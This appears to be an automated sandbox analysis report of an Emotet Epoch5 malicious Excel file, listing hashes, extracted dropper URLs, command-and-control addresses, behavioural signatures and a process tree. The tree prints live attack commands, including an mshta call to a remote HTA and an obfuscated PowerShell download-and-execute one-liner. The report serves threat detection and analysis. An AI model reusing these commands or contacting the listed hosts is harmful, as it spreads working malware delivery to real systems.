emotet | b9709ab8cb147e8a2bbca48df9110ec75f152189f34df746e28d82847287ef4c

Analysis

max time kernel
120s
max time network
151s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 15:17

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General

Target
tmphz83g30d.xls
Size 154KB
Sample220127-sn192afcg2
SHA256 b9709ab8cb147e8a2bbca48df9110ec75f152189f34df746e28d82847287ef4c
MD5 a7d0e1933cfe9f8ca44b7510e7701e71
SHA1 a59bba2ad749e7bbfd00869c372ce1d1eb1ce98e
SHA512 a9cd7e67558b7bdb260488115e7a3682d0fdfa2624b943ddee92b5f538dea757f0686f57c3c5d94cf5440bc025857a31b0b8d9b3f7f14a95f8a5fa45f8920a57
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3212	2756	cmd.exe	68

Blocklisted process makes network request 6 IoCs

flow	pid	Process
36	1828	mshta.exe
39	748	powershell.exe
41	748	powershell.exe
42	748	powershell.exe
49	2852	rundll32.exe
50	2852	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
828	rundll32.exe
1344	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Znemwztyd\pilb.olu	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
744	1828	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2756	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
744	WerFault.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
2852	rundll32.exe
2852	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	744	WerFault.exe
Token: SeDebugPrivilege	748	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE
2756	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 3212	2756	EXCEL.EXE	71
PID 2756 wrote to memory of 3212	2756	EXCEL.EXE	71
PID 3212 wrote to memory of 1828	3212	cmd.exe	73
PID 3212 wrote to memory of 1828	3212	cmd.exe	73
PID 1828 wrote to memory of 748	1828	mshta.exe	75
PID 1828 wrote to memory of 748	1828	mshta.exe	75
PID 748 wrote to memory of 344	748	powershell.exe	78
PID 748 wrote to memory of 344	748	powershell.exe	78
PID 344 wrote to memory of 828	344	cmd.exe	79
PID 344 wrote to memory of 828	344	cmd.exe	79
PID 344 wrote to memory of 828	344	cmd.exe	79
PID 828 wrote to memory of 1344	828	rundll32.exe	80
PID 828 wrote to memory of 1344	828	rundll32.exe	80
PID 828 wrote to memory of 1344	828	rundll32.exe	80
PID 1344 wrote to memory of 3640	1344	rundll32.exe	83
PID 1344 wrote to memory of 3640	1344	rundll32.exe	83
PID 1344 wrote to memory of 3640	1344	rundll32.exe	83
PID 3640 wrote to memory of 2852	3640	rundll32.exe	84
PID 3640 wrote to memory of 2852	3640	rundll32.exe	84
PID 3640 wrote to memory of 2852	3640	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmphz83g30d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:748
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:344
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:828
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1344
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Znemwztyd\pilb.olu",FozHGzEOI
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3640
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Znemwztyd\pilb.olu",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2852
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1828 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/748-295-0x000001AA52110000-0x000001AA52132000-memory.dmp

Download

memory/748-381-0x000001AA39FE0000-0x000001AA521D0000-memory.dmp

Download

memory/748-543-0x000001AA39FE0000-0x000001AA521D0000-memory.dmp

Download

memory/748-462-0x000001AA39FE0000-0x000001AA521D0000-memory.dmp

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memory/748-358-0x000001AA52180000-0x000001AA521BC000-memory.dmp

Download

memory/748-380-0x000001AA52800000-0x000001AA52876000-memory.dmp

Download

memory/828-612-0x0000000000BF0000-0x0000000000C17000-memory.dmp

Download

memory/1344-626-0x0000000005150000-0x0000000005177000-memory.dmp

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memory/1344-615-0x00000000049C0000-0x00000000049E7000-memory.dmp

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memory/1344-637-0x0000000005320000-0x0000000005347000-memory.dmp

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memory/1344-624-0x00000000050F0000-0x0000000005117000-memory.dmp

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memory/1344-622-0x0000000005090000-0x00000000050B7000-memory.dmp

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memory/1344-620-0x0000000004FB0000-0x0000000004FD7000-memory.dmp

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memory/1344-618-0x0000000004ED0000-0x0000000004EF7000-memory.dmp

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memory/2756-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-674-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-131-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

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memory/2756-120-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-121-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-124-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-132-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

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memory/2756-677-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-676-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-675-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2756-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

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memory/2852-642-0x00000000012C0000-0x00000000012E7000-memory.dmp

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memory/2852-641-0x0000000000A00000-0x0000000000A27000-memory.dmp

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memory/3640-638-0x0000000001230000-0x0000000001257000-memory.dmp

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